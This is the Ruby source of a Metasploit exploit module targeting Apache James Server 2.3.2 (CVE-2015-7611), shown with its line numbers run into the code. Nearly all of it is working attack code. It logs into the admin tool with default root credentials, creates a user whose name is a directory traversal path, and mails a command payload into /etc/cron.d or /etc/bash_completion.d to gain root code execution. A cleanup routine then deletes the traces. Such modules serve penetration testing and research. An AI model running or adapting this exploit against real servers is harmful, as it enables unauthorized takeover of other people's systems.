Path: blob/master/modules/exploits/linux/smtp/apache_james_exec.rb
19847 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write",16'Description' => %q{17This module exploits a vulnerability that exists due to a lack of input18validation when creating a user. Messages for a given user are stored19in a directory partially defined by the username. By creating a user20with a directory traversal payload as the username, commands can be21written to a given directory. To use this module with the cron22exploitation method, run the exploit using the given payload, host, and23port. After running the exploit, the payload will be executed within 6024seconds. Due to differences in how cron may run in certain Linux25operating systems such as Ubuntu, it may be preferable to set the26target to Bash Completion as the cron method may not work. If the target27is set to Bash completion, start a listener using the given payload,28host, and port before running the exploit. After running the exploit,29the payload will be executed when a user logs into the system. For this30exploitation method, bash completion must be enabled to gain code31execution. This exploitation method will leave an Apache James mail32object artifact in the /etc/bash_completion.d directory and the33malicious user account.34},35'License' => MSF_LICENSE,36'Author' => [37'Palaczynski Jakub', # Discovery38'Matthew Aberegg', # Metasploit39'Michael Burkey' # Metasploit40],41'References' => [42[ 'CVE', '2015-7611' ],43[ 'EDB', '35513' ],44[ 'URL', 'https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf' ]45],46'Platform' => 'linux',47'Arch' => [ ARCH_X86, ARCH_X64 ],48'Targets' => [49[50'Bash Completion', {51'ExploitPath' => 'bash_completion.d',52'ExploitPrepend' => '',53'DefaultOptions' => { 'DisablePayloadHandler' => true, 'WfsDelay' => 0 }54}55],56[57'Cron', {58'ExploitPath' => 'cron.d',59'ExploitPrepend' => '* * * * * root ',60'DefaultOptions' => { 'DisablePayloadHandler' => false, 'WfsDelay' => 90 }61}62]63],64'Privileged' => true,65'DisclosureDate' => '2015-10-01',66'DefaultTarget' => 1,67'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],68'Notes' => {69'Reliability' => UNKNOWN_RELIABILITY,70'Stability' => UNKNOWN_STABILITY,71'SideEffects' => UNKNOWN_SIDE_EFFECTS72}73)74)75register_options(76[77OptString.new('USERNAME', [ true, 'Root username for James remote administration tool', 'root' ]),78OptString.new('PASSWORD', [ true, 'Root password for James remote administration tool', 'root' ]),79OptString.new('ADMINPORT', [ true, 'Port for James remote administration tool', '4555' ]),80OptString.new('POP3PORT', [false, 'Port for POP3 Apache James Service', '110' ]),81Opt::RPORT(25)82]83)84end8586def check87# SMTP service check88connect89smtp_banner = sock.get_once90disconnect91unless smtp_banner.to_s.include? "JAMES SMTP Server"92return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP server")93end9495# James Remote Administration Tool service check96connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT'] })97admin_banner = sock.get_once98disconnect99unless admin_banner.to_s.include? "JAMES Remote Administration Tool"100return CheckCode::Safe("Target is not JAMES Remote Administration Tool")101end102103# Get version number104version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first105# Null check106unless version107return CheckCode::Detected("Could not determine JAMES Remote Administration Tool version")108end109110# Create version objects111target_version = Rex::Version.new(version)112vulnerable_version = Rex::Version.new("2.3.2")113114# Check version number115if target_version > vulnerable_version116return CheckCode::Safe117elsif target_version == vulnerable_version118return CheckCode::Appears119elsif target_version < vulnerable_version120return CheckCode::Detected("Version #{version} of JAMES Remote Administration Tool may be vulnerable")121end122end123124def execute_james_admin_tool_command(cmd)125username = datastore['USERNAME']126password = datastore['PASSWORD']127connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT'] })128sock.get_once129sock.puts(username + "\n")130sock.get_once131sock.puts(password + "\n")132sock.get_once133sock.puts(cmd)134sock.get_once135sock.puts("quit\n")136disconnect137end138139def cleanup140return unless target['ExploitPath'] == "cron.d"141142# Delete mail objects containing payload from cron.d143username = "../../../../../../../../etc/cron.d"144password = @account_password145begin146connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => datastore['POP3PORT'] })147sock.get_once148sock.puts("USER #{username}\r\n")149sock.get_once150sock.puts("PASS #{password}\r\n")151sock.get_once152sock.puts("dele 1\r\n")153sock.get_once154sock.puts("quit\r\n")155disconnect156rescue157print_bad("Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '#{@account_password}'")158end159160# Delete malicious user161delete_user_command = "deluser ../../../../../../../../etc/cron.d\n"162execute_james_admin_tool_command(delete_user_command)163end164165def execute_command(cmd, opts = {})166# Create malicious user with randomized password (message objects for this user will now be stored in /etc/bash_completion.d or /etc/cron.d)167exploit_path = target['ExploitPath']168@account_password = Rex::Text.rand_text_alpha(8..12)169add_user_command = "adduser ../../../../../../../../etc/#{exploit_path} #{@account_password}\n"170execute_james_admin_tool_command(add_user_command)171172# Send payload via SMTP173payload_prepend = target['ExploitPrepend']174connect175sock.puts("ehlo [email protected]\r\n")176sock.get_once177sock.puts("mail from: <'@apache.com>\r\n")178sock.get_once179sock.puts("rcpt to: <../../../../../../../../etc/#{exploit_path}>\r\n")180sock.get_once181sock.puts("data\r\n")182sock.get_once183sock.puts("From: [email protected]\r\n")184sock.puts("\r\n")185sock.puts("'\n")186sock.puts("#{payload_prepend}#{cmd}\n")187sock.puts("\r\n.\r\n")188sock.get_once189sock.puts("quit\r\n")190sock.get_once191disconnect192end193194def execute_cmdstager_end(opts)195if target['ExploitPath'] == "cron.d"196print_status("Waiting for cron to execute payload...")197else198print_status("Payload will be triggered when someone logs onto the target")199print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'")200print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.")201end202end203204def exploit205execute_cmdstager(background: true)206end207208end209210211